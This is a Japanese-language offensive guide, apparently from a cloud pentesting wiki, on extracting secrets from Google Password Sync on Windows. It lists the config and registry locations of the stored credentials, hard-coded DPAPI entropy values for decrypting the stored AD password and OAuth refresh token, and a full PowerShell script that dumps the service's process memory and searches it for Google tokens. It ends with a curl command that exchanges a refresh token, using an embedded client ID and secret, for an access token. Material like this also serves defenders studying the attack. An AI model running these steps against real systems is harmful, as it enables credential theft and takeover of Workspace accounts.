基本情報
これは、Googleが提供するバイナリおよびサービスで、AD とWorkspace間でユーザーのパスワードを同期 させるためのものです。ユーザーがADでパスワードを変更するたびに、それがGoogleに設定されます。
C:\Program Files\Google\Password Sync
にインストールされ、ここで設定用のバイナリPasswordSync.exe
と、実行し続けるサービスpassword_sync_service.exe
を見つけることができます。
GPS - 設定
このバイナリ(およびサービス)を設定するには、Workspace内のスーパ管理者の権限を与える必要があります :
GoogleでOAuth を介してログインし、その後トークンをレジストリに(暗号化されて)保存します
Workspaceユーザーを管理する権限を持つGCPの サービスアカウントの資格情報(jsonファイル)を提供する
これらの資格情報は期限切れにならないため、悪用される可能性があるため非常に悪いアイデア
SAがGCPで侵害される可能性があるため、WorkspaceへのアクセスをSAに与えるのは非常に悪いアイデア
GUIのないドメインコントロール用にGoogleが要求
ADに関しては、現在のアプリケーションコンテキスト、匿名、または特定の資格情報 を使用するように指示することが可能です。資格情報オプションが選択された場合、ユーザー名 はディスク 内のファイルに保存され、パスワード は暗号化 されてレジストリ に保存されます。
GPS - ディスクからのパスワードとトークンのダンプ
Winpeas は、GPS を検出し、設定に関する情報を取得し、パスワードとトークンを復号化することさえ可能です 。
ファイル**C:\ProgramData\Google\Google Apps Password Sync\config.xml
には、設定の一部として、構成されたADの baseDN
や使用されている資格情報の username
**が見つかります。
レジストリ**HKLM\Software\Google\Google Apps Password Sync
には、ADユーザーのための 暗号化されたリフレッシュトークンと 暗号化されたパスワードが見つかります(存在する場合)。さらに、トークンの代わりに SA資格情報が使用されている場合、それらもそのレジストリアドレスに暗号化されて保存されます。このレジストリ内の 値は 管理者のみが アクセス可能**です。
暗号化されたパスワード (存在する場合)は、キー**ADPassword
内にあり、 CryptProtectData
** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、CryptUnprotectData
を使用する際にこのエントロピー を使用します:byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
暗号化されたトークン(存在する場合)は、キー**AuthToken
内にあり、 CryptProtectData
** APIを使用して暗号化されています。復号化するには、パスワード同期を設定したのと同じユーザーである必要があり、CryptUnprotectData
を使用する際にこのエントロピー を使用します:byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
さらに、これは**0123456789abcdefghijklmnopqrstv
**という辞書を使用してbase32hexでエンコードされています。
エントロピー値は、ツールを使用して見つかりました。このツールは、CryptUnprotectData
および CryptProtectData
への呼び出しを監視するように設定され、その後、 PasswordSync.exe
を起動して監視するために使用され、設定されたパスワードと認証トークンを最初に復号化し、ツールは両方のケースで使用されたエントロピーの値 を表示します :
これらのAPIへの呼び出しの入力または出力で復号化された 値を見ることも可能です(Winpeasが動作しなくなった場合に備えて)。
パスワード同期がSA資格情報で設定されている 場合、それもレジストリ**HKLM\Software\Google\Google Apps Password Sync
**内のキーに保存されます。
GPS - メモリからのトークンのダンプ
GCPWと同様に、PasswordSync.exe
およびpassword_sync_service.exe
プロセスのメモリをダンプすることが可能で、リフレッシュトークンとアクセストークン(すでに生成されている場合)を見つけることができます。
ADに設定された資格情報も見つけることができると思います。
ダンプ PasswordSync.exe
と password_sync_service.exe
プロセスを検索してトークンを探す```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"
Regular expressions for tokens
$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )
Show EULA if it wasn't accepted yet for strings
$stringsPath
Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }
Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
Dump each Chrome process
foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }
Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $ .BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }
foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }
Write-Output "" } }
Copy </details>
### GPS - リフレッシュトークンからアクセストークンを生成する
リフレッシュトークンを使用して、次のコマンドで指定されたクライアントIDとクライアントシークレットを使用してアクセストークンを生成することができます。
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - スコープ
リフレッシュトークンを持っていても、アクセストークンのためにリクエストできるスコープは、アクセストークンを生成しているアプリケーションでサポートされているスコープのみ です。
また、リフレッシュトークンはすべてのアプリケーションで有効ではありません。
デフォルトでは、GPSはユーザーとしてすべての可能なOAuthスコープにアクセスできないため、次のスクリプトを使用して、refresh_token
を使用してaccess_token
を生成するために使用できるスコープを見つけることができます: